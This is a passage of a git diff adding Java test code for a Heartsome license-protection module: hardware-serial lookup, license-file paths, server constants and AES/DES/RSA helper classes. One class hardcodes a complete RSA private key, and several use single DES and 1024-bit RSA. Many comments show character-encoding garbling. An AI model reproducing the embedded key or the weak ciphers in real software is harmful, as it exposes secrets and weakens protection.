{ split($0, line, \"\\\"\"); printf(\"%s\\n\", line[4]); }'"}; + Process process = Runtime.getRuntime().exec(commands); + + ReadThread inputReadThread = new ReadThread(process.getInputStream()); + inputReadThread.start(); + + //ç¡®ä¿æ ‡å‡†ä¸Žé”™è¯¯æµéƒ½è¯»å®Œæ—¶æ‰å‘外界返回执行结果 + while (true) { + if (inputReadThread.flag) { + break; + } else { + Thread.sleep(1000); + } + } + String series = inputReadThread.getResult(); + return "".equals(series) ? null : series; + } catch (IOException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return null; + } + + /* + * 标准æµä¸Žé”™è¯¯æµè¯»å–线程 + */ + private static class ReadThread extends Thread { + private InputStream is; + + private ArrayList result = new ArrayList(); + + public boolean flag;// æµæ˜¯å¦è¯»å–完毕 + + public ReadThread(InputStream is) { + this.is = is; + } + + // 获å–命令执行åŽè¾“出信æ¯ï¼Œå¦‚果没有则返回空""字符串 + protected String getResult() { + byte[] byteArr = new byte[result.size()]; + for (int i = 0; i < result.size(); i++) { + byteArr[i] = ((Byte) result.get(i)).byteValue(); + } + return new String(byteArr); + } + + public void run() { + try { + int readInt = is.read(); + while (readInt != -1) { + result.add(Byte.valueOf(String.valueOf((byte) readInt))); + readInt = is.read(); + } + + flag = true;// æµå·²è¯»å®Œ + } catch (Exception e) { + e.printStackTrace(); + } + } + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/ProtectionFactory.java b/test/net.heartsome.license.test/src/net/heartsome/license/ProtectionFactory.java new file mode 100644 index 0000000..61cf4f8 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/ProtectionFactory.java @@ -0,0 +1,58 @@ +package net.heartsome.license; + +import java.io.File; + +import net.heartsome.license.encrypt.Encrypt; +import net.heartsome.license.encrypt.EncryptRSA; +import net.heartsome.license.utils.OsUtil; + +public class ProtectionFactory { + + public static String getSeries() { + SeriesInterface s; + if (OsUtil.isWindows()) { + s = new WindowsSeries(); + } else if (OsUtil.isMac()) { + s = new MacosxSeries(); + } else { + s = new LinuxSeries(); + } + + return s.getSeries(); + } + + public static Encrypt getEncrypt() throws Exception { + Encrypt en = new EncryptRSA(); + return en; + } + + public static String getFileName(int type, int productId) { + String fileName = type == 1 ? "test" : "install"; + String folder = ""; + if (OsUtil.isWindows()) { + folder = System.getenv("windir"); + File f1 = new File(folder); + if (!f1.exists()) { + f1.mkdirs(); + } + return System.getenv("windir") + "\\" + fileName + productId + + ".inf"; + } else if (OsUtil.isMac()) { + folder = System.getProperty("user.home") + "/.local"; + File f1 = new File(folder); + if (!f1.exists()) { + f1.mkdirs(); + } + return System.getProperty("user.home") + "/.local" + "/" + fileName + + productId + ".eps"; + } else { + folder = System.getProperty("user.home") + "/.local"; + File f1 = new File(folder); + if (!f1.exists()) { + f1.mkdirs(); + } + return System.getProperty("user.home") + "/.local" + "/" + fileName + + productId + ".msl"; + } + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/Series.java b/test/net.heartsome.license.test/src/net/heartsome/license/Series.java new file mode 100644 index 0000000..37421c5 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/Series.java @@ -0,0 +1,5 @@ +package net.heartsome.license; + +public class Series { + public native String getSeries(); +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/SeriesInterface.java b/test/net.heartsome.license.test/src/net/heartsome/license/SeriesInterface.java new file mode 100644 index 0000000..eed7967 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/SeriesInterface.java @@ -0,0 +1,5 @@ +package net.heartsome.license; + +public interface SeriesInterface { + String getSeries(); +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/WindowsSeries.java b/test/net.heartsome.license.test/src/net/heartsome/license/WindowsSeries.java new file mode 100644 index 0000000..4a0df8d --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/WindowsSeries.java @@ -0,0 +1,24 @@ +package net.heartsome.license; + +public class WindowsSeries implements SeriesInterface { + + static { + try { + // String realLibName = System.mapLibraryName("win_x86_Series"); + // File f = new File("lib", realLibName); + // f = f.getCanonicalFile(); + // System.load(f.getAbsolutePath()); + + System.loadLibrary("win_x86_Series_" + + System.getProperty("sun.arch.data.model") + "bit"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public String getSeries() { + return new Series().getSeries(); + } + +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/constants/Constants.java b/test/net.heartsome.license.test/src/net/heartsome/license/constants/Constants.java new file mode 100644 index 0000000..7bc771b --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/constants/Constants.java @@ -0,0 +1,45 @@ +package net.heartsome.license.constants; + +public class Constants { + + // ä¿¡æ¯çš„分隔符,和wsæœåŠ¡å™¨çš„分隔符ä¿æŒä¸€è‡´ï¼Œä¸¤å¤„需è¦åŒæ—¶ä¿®æ”¹ã€‚net.heartsome.r8.webservice.utils.Constants + public final static String SEPARATOR = "#&"; + + public final static String RETURN_INVALIDLICENSE = "It is a invalid License"; + public final static int RETURN_INVALIDLICENSE_INT = 1; + public final static String RETURN_INVALIDBUNDLE = "It is a invalid Bundle License"; + public final static int RETURN_INVALIDBUNDLE_INT = 2; + public final static String RETURN_DBEXCEPTION = "Update database exception"; + public final static int RETURN_DBEXCEPTION_INT = 3; + public final static int ACTIVE_OK_INT = 4; + public final static String RETURN_MUTILTEMPBUNDLE = "Mutil Active Trial License"; + public final static int RETURN_MUTILTEMPBUNDLE_INT = 5; + + public final static String RETURN_EXPIREDLICENSE = "Your license has expired"; + public final static int RETURN_EXPIREDLICENSE_INT = 6; + public final static String RETURN_MACCODEERR = "MacCode is invalid"; + public final static String RETURN_CHECKSUCESS = "Check is Sucess"; + + public final static int CANCEL = -1; + public final static int STATE_FILE_NOT_EXSIT = 0; + public final static int STATE_NOT_ACTIVATED = 1; + public final static int STATE_VALID = 2; + public final static int STATE_INVALID = 3; + public final static int STATE_EXPIRED = 4; + public final static int STATE_UNCONNECT = 5; + + public final static String RETURN_LOGOUTSUCESS = "Logout is sucess"; + public final static int LOGOUT_SUCCESS = 1; + public final static int LOGOUT_FAIL = 2; + + public final static int PRODUCTID = 89; + + public final static String TYPE_TMEP = "0"; + public final static String TYPE_BUSINESS = "1"; + + public final static String CONNECT_URL = "http://192.168.0.191:8080/r8/services/licenseManager"; + + public final static String RETURN_NULLTEMPENDDATE = "TempEndDate is null"; + + +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/Encrypt.java b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/Encrypt.java new file mode 100644 index 0000000..5e5658d --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/Encrypt.java @@ -0,0 +1,11 @@ +package net.heartsome.license.encrypt; + +public interface Encrypt { + byte[] getPublicKey(); + + byte[] getPrivateKey(); + + byte[] encrypt(byte[] publicKeyArray, byte[] srcBytes) throws Exception; + + byte[] decrypt(byte[] privateKeyArray, byte[] srcBytes) throws Exception; +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptAES.java b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptAES.java new file mode 100644 index 0000000..0f4a381 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptAES.java @@ -0,0 +1,88 @@ +package net.heartsome.license.encrypt; + +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; + +import javax.crypto.BadPaddingException; +import javax.crypto.Cipher; +import javax.crypto.IllegalBlockSizeException; +import javax.crypto.KeyGenerator; +import javax.crypto.NoSuchPaddingException; +import javax.crypto.SecretKey; + +public class EncryptAES { + + //KeyGenerator Ìṩ¶Ô³ÆÃÜÔ¿Éú³ÉÆ÷µÄ¹¦ÄÜ£¬Ö§³Ö¸÷ÖÖËã·¨ + private KeyGenerator keygen; + //SecretKey ¸ºÔð±£´æ¶Ô³ÆÃÜÔ¿ + private SecretKey deskey; + //Cipher¸ºÔðÍê³É¼ÓÃÜ»ò½âÃܹ¤×÷ + private Cipher c; + //¸Ã×Ö½ÚÊý×鸺Ôð±£´æ¼ÓÃܵĽá¹û + private byte[] cipherByte; + + public EncryptAES() throws NoSuchAlgorithmException, NoSuchPaddingException{ + //ʵÀý»¯Ö§³ÖDESËã·¨µÄÃÜÔ¿Éú³ÉÆ÷(Ëã·¨Ãû³ÆÃüÃûÐè°´¹æ¶¨£¬·ñÔòÅ׳öÒì³£) + keygen = KeyGenerator.getInstance("AES"); + //Éú³ÉÃÜÔ¿ + deskey = keygen.generateKey(); + //Éú³ÉCipher¶ÔÏó,Ö¸¶¨ÆäÖ§³ÖµÄDESËã·¨ + c = Cipher.getInstance("AES"); + } + + /** + * ¶Ô×Ö·û´®¼ÓÃÜ + * + * @param str + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Encrytor(String str) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬ENCRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.ENCRYPT_MODE, deskey); + byte[] src = str.getBytes(); + // ¼ÓÃÜ£¬½á¹û±£´æ½øcipherByte + cipherByte = c.doFinal(src); + return cipherByte; + } + + /** + * ¶Ô×Ö·û´®½âÃÜ + * + * @param buff + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Decryptor(byte[] buff) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬DECRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.DECRYPT_MODE, deskey); + cipherByte = c.doFinal(buff); + return cipherByte; + } + + /** + * @param args + * @throws NoSuchPaddingException + * @throws NoSuchAlgorithmException + * @throws BadPaddingException + * @throws IllegalBlockSizeException + * @throws InvalidKeyException + */ + public static void main(String[] args) throws Exception { + EncryptAES de1 = new EncryptAES(); + String msg ="¹ùXX-¸ãЦÏàÉùÈ«¼¯"; + byte[] encontent = de1.Encrytor(msg); + byte[] decontent = de1.Decryptor(encontent); + System.out.println("Ã÷ÎÄÊÇ:" + msg); + System.out.println("¼ÓÃܺó:" + new String(encontent)); + System.out.println("½âÃܺó:" + new String(decontent)); + } + +} + diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptDES.java b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptDES.java new file mode 100644 index 0000000..7835b98 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptDES.java @@ -0,0 +1,87 @@ +package net.heartsome.license.encrypt; + +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; + +import javax.crypto.BadPaddingException; +import javax.crypto.Cipher; +import javax.crypto.IllegalBlockSizeException; +import javax.crypto.KeyGenerator; +import javax.crypto.NoSuchPaddingException; +import javax.crypto.SecretKey; + +public class EncryptDES { + + //KeyGenerator Ìṩ¶Ô³ÆÃÜÔ¿Éú³ÉÆ÷µÄ¹¦ÄÜ£¬Ö§³Ö¸÷ÖÖËã·¨ + private KeyGenerator keygen; + //SecretKey ¸ºÔð±£´æ¶Ô³ÆÃÜÔ¿ + private SecretKey deskey; + //Cipher¸ºÔðÍê³É¼ÓÃÜ»ò½âÃܹ¤×÷ + private Cipher c; + //¸Ã×Ö½ÚÊý×鸺Ôð±£´æ¼ÓÃܵĽá¹û + private byte[] cipherByte; + + public EncryptDES() throws NoSuchAlgorithmException, NoSuchPaddingException{ + //ʵÀý»¯Ö§³ÖDESËã·¨µÄÃÜÔ¿Éú³ÉÆ÷(Ëã·¨Ãû³ÆÃüÃûÐè°´¹æ¶¨£¬·ñÔòÅ׳öÒì³£) + keygen = KeyGenerator.getInstance("DES", new org.bouncycastle.jce.provider.BouncyCastleProvider()); + //Éú³ÉÃÜÔ¿ + deskey = keygen.generateKey(); + //Éú³ÉCipher¶ÔÏó,Ö¸¶¨ÆäÖ§³ÖµÄDESËã·¨ + c = Cipher.getInstance("DES"); + } + + /** + * ¶Ô×Ö·û´®¼ÓÃÜ + * + * @param str + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Encrytor(byte[] src) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬ENCRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.ENCRYPT_MODE, deskey); + // ¼ÓÃÜ£¬½á¹û±£´æ½øcipherByte + cipherByte = c.doFinal(src); + return cipherByte; + } + + /** + * ¶Ô×Ö·û´®½âÃÜ + * + * @param buff + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Decryptor(byte[] buff) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬DECRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.DECRYPT_MODE, deskey); + cipherByte = c.doFinal(buff); + return cipherByte; + } + + /** + * @param args + * @throws NoSuchPaddingException + * @throws NoSuchAlgorithmException + * @throws BadPaddingException + * @throws IllegalBlockSizeException + * @throws InvalidKeyException + */ + public static void main(String[] args) throws Exception { + EncryptDES de1 = new EncryptDES(); + String msg ="¹ùXX-¸ãЦÏàÉùÈ«¼¯"; + byte[] encontent = de1.Encrytor(msg.getBytes()); + byte[] decontent = de1.Decryptor(encontent); + System.out.println("Ã÷ÎÄÊÇ:" + msg); + System.out.println("¼ÓÃܺó:" + new String(encontent)); + System.out.println("½âÃܺó:" + new String(decontent)); + } + +} + diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptDES3.java b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptDES3.java new file mode 100644 index 0000000..b9ab9d5 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptDES3.java @@ -0,0 +1,89 @@ +package net.heartsome.license.encrypt; + +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; + +import javax.crypto.BadPaddingException; +import javax.crypto.Cipher; +import javax.crypto.IllegalBlockSizeException; +import javax.crypto.KeyGenerator; +import javax.crypto.NoSuchPaddingException; +import javax.crypto.SecretKey; + +public class EncryptDES3 { + + // KeyGenerator Ìṩ¶Ô³ÆÃÜÔ¿Éú³ÉÆ÷µÄ¹¦ÄÜ£¬Ö§³Ö¸÷ÖÖËã·¨ + private KeyGenerator keygen; + // SecretKey ¸ºÔð±£´æ¶Ô³ÆÃÜÔ¿ + private SecretKey deskey; + // Cipher¸ºÔðÍê³É¼ÓÃÜ»ò½âÃܹ¤×÷ + private Cipher c; + // ¸Ã×Ö½ÚÊý×鸺Ôð±£´æ¼ÓÃܵĽá¹û + private byte[] cipherByte; + + public EncryptDES3() throws NoSuchAlgorithmException, NoSuchPaddingException { + // ʵÀý»¯Ö§³ÖDESËã·¨µÄÃÜÔ¿Éú³ÉÆ÷(Ëã·¨Ãû³ÆÃüÃûÐè°´¹æ¶¨£¬·ñÔòÅ׳öÒì³£) + keygen = KeyGenerator.getInstance("DESede", new org.bouncycastle.jce.provider.BouncyCastleProvider()); + // Éú³ÉÃÜÔ¿ + deskey = keygen.generateKey(); + // Éú³ÉCipher¶ÔÏó,Ö¸¶¨ÆäÖ§³ÖµÄDESËã·¨ + c = Cipher.getInstance("DESede"); + } + + /** + * ¶Ô×Ö·û´®¼ÓÃÜ + * + * @param str + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Encrytor(String str) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬ENCRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.ENCRYPT_MODE, deskey); + byte[] src = str.getBytes(); + // ¼ÓÃÜ£¬½á¹û±£´æ½øcipherByte + cipherByte = c.doFinal(src); + return cipherByte; + } + + /** + * ¶Ô×Ö·û´®½âÃÜ + * + * @param buff + * @return + * @throws InvalidKeyException + * @throws IllegalBlockSizeException + * @throws BadPaddingException + */ + public byte[] Decryptor(byte[] buff) throws InvalidKeyException, + IllegalBlockSizeException, BadPaddingException { + // ¸ù¾ÝÃÜÔ¿£¬¶ÔCipher¶ÔÏó½øÐгõʼ»¯£¬DECRYPT_MODE±íʾ¼ÓÃÜģʽ + c.init(Cipher.DECRYPT_MODE, deskey); + cipherByte = c.doFinal(buff); + return cipherByte; + } + + /** + * @param args + * @throws NoSuchPaddingException + * @throws NoSuchAlgorithmException + * @throws BadPaddingException + * @throws IllegalBlockSizeException + * @throws InvalidKeyException + */ + public static void main(String[] args) throws Exception { + EncryptDES3 des = new EncryptDES3(); + String msg ="¹ùXX-¸ãЦÏàÉùÈ«¼¯"; + byte[] encontent = des.Encrytor(msg); + byte[] decontent = des.Decryptor(encontent); + System.out.println("Ã÷ÎÄÊÇ:" + msg); + System.out.println("¼ÓÃܺó:" + new String(encontent)); + System.out.println("½âÃܺó:" + new String(decontent)); + + } + +} + diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptRSA.java b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptRSA.java new file mode 100644 index 0000000..5c47fbb --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/EncryptRSA.java @@ -0,0 +1,135 @@ +package net.heartsome.license.encrypt; + +import java.io.ByteArrayOutputStream; +import java.security.Key; +import java.security.KeyFactory; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.SecureRandom; +import java.security.spec.PKCS8EncodedKeySpec; +import java.security.spec.X509EncodedKeySpec; + +import javax.crypto.Cipher; + +public class EncryptRSA implements Encrypt { + + // éžå¯¹ç§°åŠ å¯†å¯†é’¥ç®—法 + private static final String algorithm = "RSA"; + // 密钥长度,用æ¥åˆå§‹åŒ– + private static final int key_size = 1024; + // 公钥 + private final byte[] publicKey; + // ç§é’¥ + private final byte[] privateKey; + + public EncryptRSA() throws Exception { + SecureRandom sr = new SecureRandom(); + + KeyPairGenerator kpg = KeyPairGenerator.getInstance(algorithm); + kpg.initialize(key_size, sr); + + KeyPair kp = kpg.generateKeyPair(); + Key keyPublic = kp.getPublic(); + publicKey = keyPublic.getEncoded(); + + Key keyPrivate = kp.getPrivate(); + privateKey = keyPrivate.getEncoded(); + } + + /** + * 加密 + * + * @param publicKeyArray + * @param srcBytes + * @return + * @throws Exception + */ + public byte[] encrypt(byte[] publicKeyArray, byte[] srcBytes) + throws Exception { + X509EncodedKeySpec keySpec = new X509EncodedKeySpec(publicKeyArray); + KeyFactory kf = KeyFactory.getInstance(algorithm); + PublicKey keyPublic = kf.generatePublic(keySpec); + + Cipher cipher; + cipher = Cipher.getInstance(algorithm, + new org.bouncycastle.jce.provider.BouncyCastleProvider()); + + cipher.init(Cipher.ENCRYPT_MODE, keyPublic); + int blockSize = cipher.getBlockSize(); + int outputSize = cipher.getOutputSize(srcBytes.length); + int leavedSize = srcBytes.length % blockSize; + int blocksSize = leavedSize != 0 ? srcBytes.length / blockSize + 1 + : srcBytes.length / blockSize; + byte[] raw = new byte[outputSize * blocksSize]; + int i = 0; + while (srcBytes.length - i * blockSize > 0) { + if (srcBytes.length - i * blockSize > blockSize) + cipher.doFinal(srcBytes, i * blockSize, blockSize, raw, i + * outputSize); + else + cipher.doFinal(srcBytes, i * blockSize, srcBytes.length - i + * blockSize, raw, i * outputSize); + i++; + } + return raw; + } + + /** + * 解密 + * + * @param privateKeyArray + * @param srcBytes + * @return + * @throws Exception + */ + public byte[] decrypt(byte[] privateKeyArray, byte[] srcBytes) + throws Exception { + PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(privateKeyArray); + KeyFactory kf = KeyFactory.getInstance(algorithm); + PrivateKey keyPrivate = kf.generatePrivate(keySpec); + + Cipher cipher = Cipher.getInstance(algorithm, + new org.bouncycastle.jce.provider.BouncyCastleProvider()); + cipher.init(Cipher.DECRYPT_MODE, keyPrivate); + + int blockSize = cipher.getBlockSize(); + ByteArrayOutputStream bout = new ByteArrayOutputStream(blockSize); + int j = 0; + while (srcBytes.length - j * blockSize > 0) { + byte[] temp = cipher.doFinal(srcBytes, j * blockSize, blockSize); + bout.write(temp); + j++; + } + return bout.toByteArray(); + } + + public byte[] getPublicKey() { + return publicKey; + } + + public byte[] getPrivateKey() { + return privateKey; + } + + /** + * @param args + * @throws Exception + */ + public static void main(String[] args) throws Exception { + EncryptRSA rsa = new EncryptRSA(); + String msg = "都是考虑考虑对方都是考虑考虑对方都是考虑考虑对方都是考虑考虑对方都是考虑考虑对方" + + "都是考虑考虑对方都是考虑考虑对方都是考虑考虑对方都是考虑考虑对方都是考虑考虑对方都是考虑" + + "都是考虑考虑对方都是考虑考虑对方都是考虑考虑对方都是考虑考虑对方考虑对方"; + + byte[] srcBytes = msg.getBytes(); + byte[] resultBytes = rsa.encrypt(rsa.getPublicKey(), srcBytes); + + byte[] decBytes = rsa.decrypt(rsa.getPrivateKey(), resultBytes); + + System.out.println("原文:" + msg); + System.out.println("加密åŽ:" + new String(resultBytes)); + System.out.println("解密åŽ:" + new String(decBytes)); + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/InstallKeyEncrypt.java b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/InstallKeyEncrypt.java new file mode 100644 index 0000000..488663e --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/encrypt/InstallKeyEncrypt.java @@ -0,0 +1,98 @@ +package net.heartsome.license.encrypt; + +import java.io.ByteArrayOutputStream; +import java.security.KeyFactory; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.spec.PKCS8EncodedKeySpec; +import java.security.spec.X509EncodedKeySpec; + +import javax.crypto.Cipher; + +public class InstallKeyEncrypt { + private static final String algorithm = "RSA"; + + private final static byte[] publicKey = new byte[] {48,-127,-97,48,13,6,9,42,-122,72,-122,-9,13,1,1,1,5,0,3, + -127,-115,0,48,-127,-119,2,-127,-127,0,-126,84,87,97,-103,60,114,-92,-21,23,111,34,-45,61,8, + -39,-18,-95,96,-99,-4,-15,-51,52,-82,91,-108,-102,87,-37,-8,34,23,-16,98,-100,38,-7,82,-13, + 67,47,96,-102,-128,-48,21,-106,-94,23,119,-77,-46,72,-89,-44,64,-11,81,127,26,-38,-59,26,102, + -58,-89,104,-117,88,87,-93,-9,110,-21,-102,-24,-72,-23,-41,45,7,-35,-72,-105,-98,-27,-114,-74, + -49,-35,-93,-85,66,111,-72,-4,58,-116,-93,-102,27,-49,-25,32,75,4,-2,-95,112,-60,-103,32,43,31, + 60,18,-89,24,-85,-63,-95,73,-115,13,22,-102,-25,2,3,1,0,1}; + + private final static byte[] privateKey = new byte[] {48,-126,2,118,2,1,0,48,13,6,9,42,-122,72,-122,-9,13,1,1, + 1,5,0,4,-126,2,96,48,-126,2,92,2,1,0,2,-127,-127,0,-126,84,87,97,-103,60,114,-92,-21,23,111, + 34,-45,61,8,-39,-18,-95,96,-99,-4,-15,-51,52,-82,91,-108,-102,87,-37,-8,34,23,-16,98,-100,38, + -7,82,-13,67,47,96,-102,-128,-48,21,-106,-94,23,119,-77,-46,72,-89,-44,64,-11,81,127,26,-38, + -59,26,102,-58,-89,104,-117,88,87,-93,-9,110,-21,-102,-24,-72,-23,-41,45,7,-35,-72,-105,-98, + -27,-114,-74,-49,-35,-93,-85,66,111,-72,-4,58,-116,-93,-102,27,-49,-25,32,75,4,-2,-95,112, + -60,-103,32,43,31,60,18,-89,24,-85,-63,-95,73,-115,13,22,-102,-25,2,3,1,0,1,2,-127,-128,78, + 45,-21,-48,-25,12,4,-75,123,52,-82,125,20,124,11,96,55,-82,100,119,-63,49,7,104,-81,-94,-50, + 12,-101,-31,-97,2,76,-101,-19,123,64,65,-43,-119,-119,102,-43,43,57,84,25,111,39,-62,-82,18, + -105,116,-17,-1,-6,11,110,-100,-79,110,68,71,66,-54,27,-119,-66,25,-60,-57,27,-36,44,48,95, + -49,-34,97,85,22,116,88,-109,-73,-55,-106,56,-6,-45,16,-85,72,-84,-120,126,-41,-26,10,58,61, + -83,-21,-86,51,44,-51,-65,-82,-51,-69,124,105,-86,11,-69,83,-82,-70,78,116,13,-13,-82,111, + -121,33,2,65,0,-13,-81,-101,117,47,-74,84,88,-98,49,-117,99,-75,-82,-122,-19,-86,-11,-118, + -19,103,-118,-94,-39,-9,87,18,-39,12,7,126,9,-16,-67,-104,77,-80,-91,112,-125,-88,-59,32, + 120,-96,-120,-18,-123,36,-25,-105,-99,12,96,91,90,0,0,-108,67,95,-18,-15,-79,2,65,0,-120, + -22,82,59,-32,75,-106,-88,120,99,-5,-10,87,104,89,-38,85,27,-45,-17,-77,4,81,78,55,30,-65, + 2,35,-63,-54,-33,65,-113,83,57,-82,105,-29,107,-98,114,1,103,106,12,120,26,-110,14,-72,-26, + 116,-4,-22,24,72,27,-94,-44,21,66,36,23,2,64,14,-47,65,-63,-87,106,11,-52,-21,-87,-107,-111, + 53,-115,-20,52,109,109,-54,-55,-50,-66,-10,82,12,-95,37,-53,62,-39,1,-57,-10,-12,-128,91,80, + -1,110,77,3,41,33,101,84,85,-97,51,71,96,49,-82,-31,-2,-59,-17,62,10,-54,-7,33,-49,52,-79,2, + 65,0,-120,88,80,-20,47,-63,22,-105,78,-52,-62,-19,-34,-67,-100,61,64,-28,37,122,94,-37,-67, + -36,22,40,24,47,25,76,-77,-85,0,-82,-86,66,-106,-35,-4,12,0,13,-88,56,67,-13,-122,-25,110, + -20,26,85,-27,-54,-73,-108,-42,-70,46,-68,-27,46,-88,-95,2,64,72,69,76,-106,-91,82,-34,-14, + -15,-115,119,-51,-7,-12,46,34,79,44,-89,32,123,46,-100,-5,-35,-72,96,-33,-2,93,31,-94,-3,15, + -56,-109,-8,112,-116,67,68,-125,63,73,-78,-93,65,-110,29,5,-23,-15,80,9,-52,-125,-67,-81,-40, + 76,70,104,51,-59}; + + public static byte[] encrypt(byte[] srcBytes) throws Exception { + X509EncodedKeySpec keySpec = new X509EncodedKeySpec(publicKey); + KeyFactory kf = KeyFactory.getInstance(algorithm); + PublicKey keyPublic = kf.generatePublic(keySpec); + + Cipher cipher; + cipher = Cipher.getInstance(algorithm, + new org.bouncycastle.jce.provider.BouncyCastleProvider()); + + cipher.init(Cipher.ENCRYPT_MODE, keyPublic); + int blockSize = cipher.getBlockSize(); + int outputSize = cipher.getOutputSize(srcBytes.length); + int leavedSize = srcBytes.length % blockSize; + int blocksSize = leavedSize != 0 ? srcBytes.length / blockSize + 1 + : srcBytes.length / blockSize; + byte[] raw = new byte[outputSize * blocksSize]; + int i = 0; + while (srcBytes.length - i * blockSize > 0) { + if (srcBytes.length - i * blockSize > blockSize) + cipher.doFinal(srcBytes, i * blockSize, blockSize, raw, i + * outputSize); + else + cipher.doFinal(srcBytes, i * blockSize, srcBytes.length - i + * blockSize, raw, i * outputSize); + i++; + } + return raw; + } + + public static byte[] decrypt(byte[] srcBytes) throws Exception { + PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(privateKey); + KeyFactory kf = KeyFactory.getInstance(algorithm); + PrivateKey keyPrivate = kf.generatePrivate(keySpec); + + Cipher cipher = Cipher.getInstance(algorithm, + new org.bouncycastle.jce.provider.BouncyCastleProvider()); + cipher.init(Cipher.DECRYPT_MODE, keyPrivate); + + int blockSize = cipher.getBlockSize(); + ByteArrayOutputStream bout = new ByteArrayOutputStream(blockSize); + int j = 0; + while (srcBytes.length - j * blockSize > 0) { + byte[] temp = cipher.doFinal(srcBytes, j * blockSize, blockSize); + bout.write(temp); + j++; + } + return bout.toByteArray(); + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/generator/IKeyGenerator.java b/test/net.heartsome.license.test/src/net/heartsome/license/generator/IKeyGenerator.java new file mode 100644 index 0000000..3a4b91f --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/generator/IKeyGenerator.java @@ -0,0 +1,9 @@ +package net.heartsome.license.generator; + +public interface IKeyGenerator { + byte[] generateKey(String licenseId, byte[] b) throws Exception; + + byte[] generateKey(String licenseId, String installKey, byte[] b) throws Exception; + + String getInstallKey(); +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/generator/KeyGeneratorImpl.java b/test/net.heartsome.license.test/src/net/heartsome/license/generator/KeyGeneratorImpl.java new file mode 100644 index 0000000..4944311 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/generator/KeyGeneratorImpl.java @@ -0,0 +1,60 @@ +package net.heartsome.license.generator; + +import net.heartsome.license.ProtectionFactory; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.encrypt.Encrypt; +import net.heartsome.license.encrypt.EncryptRSA; +import net.heartsome.license.utils.RandomUtils; + +public class KeyGeneratorImpl implements IKeyGenerator { + + private static Encrypt en; + private String installKey; + + public KeyGeneratorImpl() { + try { + en = new EncryptRSA(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private String generateActiveKey(String licenseId) { + return licenseId; + } + + @Override + public byte[] generateKey(String licenseId, byte[] b) throws Exception { + String key = generateActiveKey(licenseId) + Constants.SEPARATOR + ProtectionFactory.getSeries() + + 